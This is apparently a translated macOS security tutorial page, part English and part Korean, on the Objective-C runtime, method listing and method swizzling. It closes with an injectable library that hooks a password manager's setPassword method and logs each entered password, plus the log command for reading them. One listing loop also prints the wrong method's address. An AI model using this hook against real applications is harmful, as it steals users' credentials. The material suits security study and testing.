In ObjectiveC this is how a method is called like: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
필요한 것은 객체, 메서드 및 매개변수입니다. 메서드가 호출될 때 msg가 전송되며, 함수 **objc_msgSend**를 사용합니다: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
객체 구조를 따라 메서드 배열에 접근할 수 있으며, 여기에는 이름과 메서드 코드에 대한 포인터가 위치합니다.
Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with otool -ov </path/bin> or class-dump </path/bin>
Accessing the raw methods
정보에 접근할 수 있습니다. 메서드의 이름, 매개변수 수 또는 주소와 같은 정보는 다음 예와 같이 접근할 수 있습니다:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
Method Swizzling with method_exchangeImplementations
함수 **method_exchangeImplementations**는 하나의 함수의 구현 주소를 다른 함수로 변경할 수 있게 해줍니다.
따라서 함수가 호출될 때 실행되는 것은 다른 함수입니다.
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
이 경우 정상 메서드의 구현 코드가 메서드이름을 검증하면 이 스위즐링을 감지하고 실행을 방지할 수 있습니다.
다음 기술은 이러한 제한이 없습니다.
method_setImplementation을 이용한 메서드 스위즐링
이전 형식은 두 메서드의 구현을 서로 변경하기 때문에 이상합니다. method_setImplementation 함수를 사용하면 하나의 메서드의 구현을 다른 메서드로 변경할 수 있습니다.
새로운 구현에서 호출하기 전에 원래 구현의 주소를 저장하는 것을 잊지 마세요. 나중에 그 주소를 찾는 것이 훨씬 복잡해질 것입니다.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
후킹 공격 방법론
이 페이지에서는 함수를 후킹하는 다양한 방법에 대해 논의했습니다. 그러나 이들은 공격을 위해 프로세스 내에서 코드를 실행하는 것을 포함했습니다.
최신 버전의 macOS에서는 애플리케이션 바이너리의 서명을 제거하고 이전에 실행된 경우, macOS가 더 이상 애플리케이션을 실행하지 않습니다.
라이브러리 예제
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
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